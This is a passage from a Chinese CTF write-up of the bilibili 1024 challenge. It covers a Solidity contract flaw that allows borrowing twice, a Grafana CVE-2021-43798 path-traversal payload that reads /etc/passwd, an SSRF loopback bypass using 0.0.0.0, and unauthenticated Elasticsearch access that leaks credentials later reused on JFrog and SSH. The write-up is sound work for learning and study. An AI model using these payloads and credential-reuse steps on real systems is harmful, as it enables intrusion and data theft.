        uint256 amount
    ) internal virtual {}


    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    // debug param secret
    function get_secret() public view returns (uint) {
        require(msg.sender == owner);
        return secret;
    }

    // debug param tokenprice
    function get_price() public view returns (uint) {
        return tokenprice;
    }

    // test need to be delete
    function testborrowtwice(SignCoupon calldata scoupon) public {
        require(scoupon.coupon.loankey == 2233);
        MyToken(this).flashloan(scoupon);
    }

    // test need to be delete
    function set_secret(uint secret_) public onlyowner {
        secret = secret_;
        emit changeprice(secret_);
    }
}

在remix ide上测试了一下发现一个账号能borrow两次

读代码找flag发现payforflag函数需要_flag=2,继续往下找发现withdraw一次_flag+1,触发withdraw函数需要ethbalances>=1和_ebalances>=1812触发后_ebalances清零往上继续查找_ebalances和ethbalances,发现ethbalances可以由deposit函数触发+1,继续找_ebalances在buy和sale中有调用读代码发现sale amount一次能得6倍_ebalances,而在buy函数中购买量大于233小于300的购买价格为1 _ebalances,简单计算一下233/2/6=19.4也就是说整20个账号转给一个主账号就能搞定,开冲!

使用小狐狸钱包选择eth测试网

5a47ea179a104822

在remix上

开刷,钱刷够后看payforflag函数他调用了一个sendflag函数这个函数还有注释

//mid = bilibili uid        b64email = base64(your email address)

填入data触发payforflag函数收取flag邮件

ce69353209104909

第五题

题目入口

根据第2题的提示找到

https://github.com/K3iove/1024-cheers

http://101.132.189.74/index

 

解题过程

bb91364156105401

根据上面提示的工作区,我们知道工作区名称为bilibili-1024-cheers

在postman里直接搜就可以找到了

eb355067ae105505

然后我们可以找到入口

http://101.132.189.74/index

/etc/server.go

扫下端口呗,这里使用fscan扫描工具

G:\tools\fscan-1.8.0>fscan -h 101.132.189.74

   ___                              _
  / _ \     ___  ___ _ __ __ _  ___| | __
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <
\____/     |___/\___|_|  \__,_|\___|_|\_\
                     fscan version: 1.7.1
start infoscan
(icmp) Target 101.132.189.74  is alive
[*] Icmp alive hosts len is: 1
101.132.189.74:8088 open
101.132.189.74:8082 open
101.132.189.74:80 open
101.132.189.74:8081 open
[*] alive ports len is: 4
start vulscan
[*] WebTitle:http://101.132.189.74     code:404 len:18     title:None
[*] WebTitle:http://101.132.189.74:8082 code:200 len:3024   title:JFrog
[*] WebTitle:http://101.132.189.74:8081 code:200 len:878    title:None
[*] WebTitle:http://101.132.189.74:8088 code:302 len:29     title:None 跳转url: http://101.132.189.74:8088/login
[*] WebTitle:http://101.132.189.74:8088/login code:200 len:27707  title:Grafana
[+] InfoScan:http://101.132.189.74:8088/login [editor]
已完成 4/4
[*] 扫描结束,耗时: 4.8669157s

8082 和 8081 部署的是 Jfrog 服务,访问下有账号密码要登录,也不存在弱口令。

但是发现8088 端口是Grafana v8.2.6,有个 CVE-2021-43798 可以任意文件读取

/public/plugins/text/../../../../../../../../../../etc/passwd

读 /etc/server.go看看呢

/public/plugins/text/../../../../../../../../../../etc/server.go

server.go代码如下

package server

import (
	"fmt"
	"github.com/andelf/go-curl"
	"github.com/gin-gonic/gin"
	"io"
	"net"
	"net/http"
	"net/url"
	"os"
	"strings"
	"crack5/utils/try"
)


/*func Test(buf []byte, userdata interface{}) bool {
	println("DEBUG: size=>", len(buf))
	println("DEBUG: content=>", string(buf))
	return true
}*/

func SecCheck(myurl string) bool {
	if strings.Contains(myurl, "@") || strings.Contains(myurl, "./") {
		return false
	} else {
		return true
	}
}

func IsInternalIp(host string) bool {
	ipaddr, err := net.ResolveIPAddr("ip", host)

	if err != nil {
		fmt.Println(err)
	}

	fmt.Println(ipaddr.IP, ipaddr.Zone)

	if ipaddr.IP.IsLoopback() {
		return true
	}

	ip4 := ipaddr.IP.To4()
	if ip4 == nil {
		return false
	}
	return ip4[0] == 10 ||
		(ip4[0] == 172 && ip4[1] >= 16 && ip4[1] <= 31) ||
		(ip4[0] == 169 && ip4[1] == 254) ||
		(ip4[0] == 192 && ip4[1] == 168)
}

// 解决跨域问题
func Cors() gin.HandlerFunc {
	return func(c *gin.Context) {
		method := c.Request.Method

		c.Header("Access-Control-Allow-Origin", "*")
		c.Header("Access-Control-Allow-Headers", "Content-Type,AccessToken,X-CSRF-Token, Authorization, Token")
		c.Header("Access-Control-Allow-Methods", "POST, GET, OPTIONS")
		c.Header("Access-Control-Expose-Headers", "Content-Length, Access-Control-Allow-Origin, Access-Control-Allow-Headers, Content-Type")
		c.Header("Access-Control-Allow-Credentials", "true")
		if method == "OPTIONS" {
			c.AbortWithStatus(http.StatusNoContent)
		}
		c.Next()
	}
}


// GetData
func GetData(c *gin.Context) {

	try.Try(func(){
		target, status := c.GetQuery("t")

		if !status {
			c.JSON(http.StatusOK, gin.H{
				"msg":"query invalid",
			})
			return
		}
		if len(target) >= 128 || !SecCheck(target) {
			c.JSON(http.StatusBadRequest, gin.H{
				"msg":"illage url",
			})
			return
		}

		u, err := url.Parse(target)

		if err != nil {
			c.JSON(http.StatusBadRequest, gin.H{
				"msg":"illage url",
			})
			return
		} else {
			if (u.Scheme != "http" && u.Scheme != "https") || IsInternalIp(u.Hostname()) {
				c.JSON(http.StatusBadRequest, gin.H{
					"msg":"illage url",
				})
				return
			}

			easy := curl.EasyInit()
			defer easy.Cleanup()
			easy.Setopt(curl.OPT_URL, target)
			easy.Setopt(curl.OPT_TIMEOUT, 3)
			easy.Setopt(curl.OPT_FOLLOWLOCATION, false)
			easy.Setopt(curl.OPT_WRITEFUNCTION, func (buf []byte, extra interface{}) bool {
				c.Data(http.StatusOK, "text/html", buf)
				return true
			})
			err := easy.Perform()
			if err != nil {
				fmt.Printf("ERROR: %v\n", err)
				return
			} else {
				c.JSON(http.StatusInternalServerError, nil)
				return
			}
		}
	}).Catch(func() {
		c.JSON(http.StatusBadGateway, nil)
		return
	})

}

func Info(c *gin.Context) {
	c.JSON(http.StatusOK, gin.H{
		"msg":" /etc/server.go",
	})
	return
}


//
func LoadUrl(r *gin.Engine) {

	r.Use(Cors())
	r.GET("/get", GetData)
	r.GET("/index", Info)
}


func RunAdmin() http.Handler {
	gin.DisableConsoleColor()

	f, _ := os.Create("./logs/server.log")
	gin.DefaultWriter = io.MultiWriter(f)


	r := gin.Default()

	r.Use(gin.LoggerWithFormatter(func(param gin.LogFormatterParams) string {
		return fmt.Sprintf("[Crack5-Web] %s - [%s] \"%s %s %s %d %s \"%s\" %s\"\n",
			param.ClientIP,
			param.TimeStamp.Format("2006-01-02 15:04:05"),
			param.Method,
			param.Path,
			param.Request.Proto,
			param.StatusCode,
			param.Latency,
			param.Request.UserAgent(),
			param.ErrorMessage,
		)
	}))
	r.Use(gin.Recovery())

	LoadUrl(r)

	return r
}

观察下可以发现/get 下可以GET传参 t 给个 url 来访问这个url,可以利用SSRF

但是会有waf进行检测

func SecCheck(myurl string) bool {
	if strings.Contains(myurl, "@") || strings.Contains(myurl, "./") {
		return false
	} else {
		return true
	}
}
func IsInternalIp(host string) bool {
	ipaddr, err := net.ResolveIPAddr("ip", host)

	if err != nil {
		fmt.Println(err)
	}

	fmt.Println(ipaddr.IP, ipaddr.Zone)

	if ipaddr.IP.IsLoopback() {
		return true
	}

	ip4 := ipaddr.IP.To4()
	if ip4 == nil {
		return false
	}
	return ip4[0] == 10 ||
		(ip4[0] == 172 && ip4[1] >= 16 && ip4[1] <= 31) ||
		(ip4[0] == 169 && ip4[1] == 254) ||
		(ip4[0] == 192 && ip4[1] == 168)
}

这里 IsLoopback 这个函数,这个函数用于判断解析的 ip 地址是否是回环地址,127.0.0.1 是回环地址,返回 true 检测到,无法使用这个来打内网服务。这里可以使用 0.0.0.0 来绕过(不是回环地址,但也是从本机访问的地址)

63f8abd70b105933

爆破下内部端口,可以扫出来很多

877a721df2110007

9200端口比较显眼,是elasticsearch端口

{
  "name" : "ali-sh-sec-ctf-25aaa86-01",
  "cluster_name" : "elasticsearch",
  "cluster_uuid" : "ikcj8ysFR2KnnTa5chqvUA",
  "version" : {
    "number" : "7.17.6",
    "build_flavor" : "default",
    "build_type" : "deb",
    "build_hash" : "f65e9d338dc1d07b642e14a27f338990148ee5b6",
    "build_date" : "2022-08-23T11:08:48.893373482Z",
    "build_snapshot" : false,
    "lucene_version" : "8.11.1",
    "minimum_wire_compatibility_version" : "6.8.0",
    "minimum_index_compatibility_version" : "6.0.0-beta1"
  },
  "tagline" : "You Know, for Search"
}

返回的这个内容给了集群名称 cluster_name ,是 elasticsearch 服务,网上查下这个服务的漏洞,发现有未授权访问漏洞。

参考这篇文章《ElasticSearch 未授权访问记录(端口:9200)》

这里跟目录就是默认账户,直接访问 /_search 就得到数据库里的信息了

9fe9ddedaa110154

得到用户名和密码,放 8082 端口上的那个 JFrog 上登录下,发现成功登录。

在里面的 Artifacts 里搜索 ssh 能拿到 2222 端口的ssh连接用户名和密码。

a5bed6698b112009

732febc858112033

第六题

《bilibili 1024安全挑战赛 2022 第六题 writeup》

 

参考资料

标签:学习路线, 学习笔记, CTF资源, ctf笔记, CTF实战